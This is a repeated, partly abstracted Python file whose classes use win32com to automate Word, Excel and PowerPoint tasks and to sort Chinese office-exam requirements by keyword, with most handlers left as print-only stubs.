self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n <function token>\n <function token>\n <function token>\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n 